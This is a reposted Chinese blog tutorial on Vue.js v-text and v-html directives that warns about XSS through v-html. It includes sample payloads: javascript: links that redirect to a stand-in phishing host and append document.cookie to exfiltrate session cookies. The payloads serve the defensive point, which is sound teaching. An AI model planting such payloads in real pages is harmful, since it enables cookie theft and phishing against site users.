首页 > 其他分享 >vue(vue.js)—内置指令v-text、v-html

vue(vue.js)—内置指令v-text、v-html

时间:2024-10-18 20:24:48浏览次数:1  
标签:vue name text 123.123 js html

原文链接:vue(vue.js)—内置指令v-text、v-html – 每天进步一点点 (longkui.site)

1.v-text

v-text指令的基本功能是向其所在的标签中插入文本内容,需要注意的是,v-text会替换掉整个div的内容,实际开发中用的不多,

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html> <html lang="en">   <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>vue测试</title>     <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>     </head>   <body>     <div id="root">         <!-- 插值语法 -->        <div>你好,{{name}}</div>        <!-- v-text -->        <div v-text="name">你好</div>     </div>     <script type="text/javascript">          new Vue({             el: '#root',             data:{                name:"张三"             },         })     </script> </body>   </html>

效果如下:

2.v-html

v-html指令可以解析html ,比如下面这样

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html> <html lang="en">   <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>vue测试</title>     <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>     </head>   <body>     <div id="root">         <!-- 插值语法 -->        <div>你好,{{name}}</div>        <!-- v-text -->        <div v-text="name">你好</div>        <div v-html="str"></div>     </div>     <script type="text/javascript">          new Vue({             el: '#root',             data:{                name:"张三",                str:"<h3>你好,123</h3>"             },         })     </script> </body>   </html>

但是这个v-html使用有风险,比如下面这个xss漏洞。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html> <html lang="en">   <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>vue测试</title>     <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>     </head>   <body>     <div id="root">         <!-- 插值语法 -->        <div>你好,{{name}}</div>        <!-- v-text -->        <div v-text="name">你好</div>        <div v-html="str"></div>     </div>     <script type="text/javascript">          new Vue({             el: '#root',             data:{                name:"张三",                str:"<a href=javascript:alert(1)> 执行了!</a>"             },         })     </script> </body>   </html>

如果你觉得这个好像没有什么大问题,不就是一个alert吗,那么给大家简单演示一下一些钓鱼网站的是如何工作的。

我们创建了一个钓鱼网站,域名假设是 http://123.123.123.123。 我们把上面的代码改成:

1 str:"<a href=javascript:location.href="http://123.123.123.123"> 点我</a>"

这种方式在你不经意间就访问了携带有木马的网站。

还有更厉害的,可以通过这种方式直接获取到当前用户的cookie

1 str2:'<a href=javascript:location.href="http://123.123.123.123?"+document.cookie> 点我</a>'

这种写法相当于把你电脑里的cookie当成字符串传递出去,非常危险。

所以v-html用的并不多。

标签:vue,name,text,123.123,js,html
From: https://www.cnblogs.com/longkui-site/p/18474983

相关文章

  • 基于Java+Springboot+Vue开发的鲜牛奶订购管理系统
    项目简介该项目是基于Java+Springboot+Vue开发的鲜牛奶订购管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的鲜牛奶订购管理系统项目,大学生可以在实践中学......
  • jsp二手车市场商户管理系492nz--程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表商家,店铺信息,二手车辆,租赁申请,退租申请,续租申请,提醒信息开题报告内容一、研究背景随着二手车市场的快速发展,商户管理问题日益凸显。商户信息散乱、管理......
  • jsp二手车交易平台6447v--程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表用户,汽车类型,卖家,二手汽车,汽车订单,汽车退订开题报告内容一、研究背景随着汽车市场的不断扩大和消费者对二手车需求的增加,传统的二手车交易方式已无法满足......
  • jsp儿童疫苗接种管理系统q51zm(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表家长,接种人员,儿童信息,疫苗类型,疫苗信息,入库信息,出库信息,疫苗预约,接种信息,在线反馈,疫苗规划表开题报告内容一、项目背景随着公共卫生意识的提升,儿童......
  • jsp儿童成长信息管理系统t7728--(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、研究背景在信息化时代背景下,儿童成长的记录与管理逐渐趋向于数字化、智能化。家长、教师及教育机构对儿童成长信息的关注日益增强,传统的纸质记......
  • 基于nodejs+vue基于SpringBoot共享单车管理信息平台[开题+源码+程序+论文]计算机毕业
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容一、选题背景关于共享单车管理信息平台的研究,现有研究主要以共享单车的运营模式、市场竞争等为主。专门针对基于SpringBoot框架构建共享单车管理信息平台的研究较少......
  • 基于nodejs+vue基于springboot高校毕业生信息管理系统[开题+源码+程序+论文]计算机毕
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容一、选题背景关于高校毕业生信息管理系统的研究,现有研究主要以传统管理模式为主,专门针对基于springboot技术构建高校毕业生信息管理系统的研究较少。在国内外,高校的......
  • 基于nodejs+vue基于SpringBoot动漫电影网站[开题+源码+程序+论文]计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容一、选题背景关于动漫电影网站的研究,现有研究主要以通用视频网站或单纯动漫网站的构建为主,专门针对结合动漫电影以及手办商城等多功能于一体的SpringBoot动漫电影网......
  • vue(vue.js)—过滤器
    原文链接:vue(vue.js)—过滤器–每天进步一点点(longkui.site)vue中的过滤器是对要显示的数据进行特定格式化后进行显示。比如最常用的保留两位小数,我们就可以用过滤器实现,它并没有改变原始数据的值,只是通过新的方式显示出来。功能类似于angular中的管道。对于过滤器要知道两......
  • 基于SpringBoot+Vue的学生宿舍管理系统的设计与实现(带文档)
    基于SpringBoot+Vue的学生宿舍管理系统的设计与实现(带文档)开发语言:Java数据库:MySQL技术:SpringBoot+MyBatis+Vue等工具:IDEA/Ecilpse、Navicat、Maven学生宿舍管理系统主要分为三个角色:管理员、宿管员和学生。每个角色都有其独特的功能模块,以满足不同用户的需求。管理......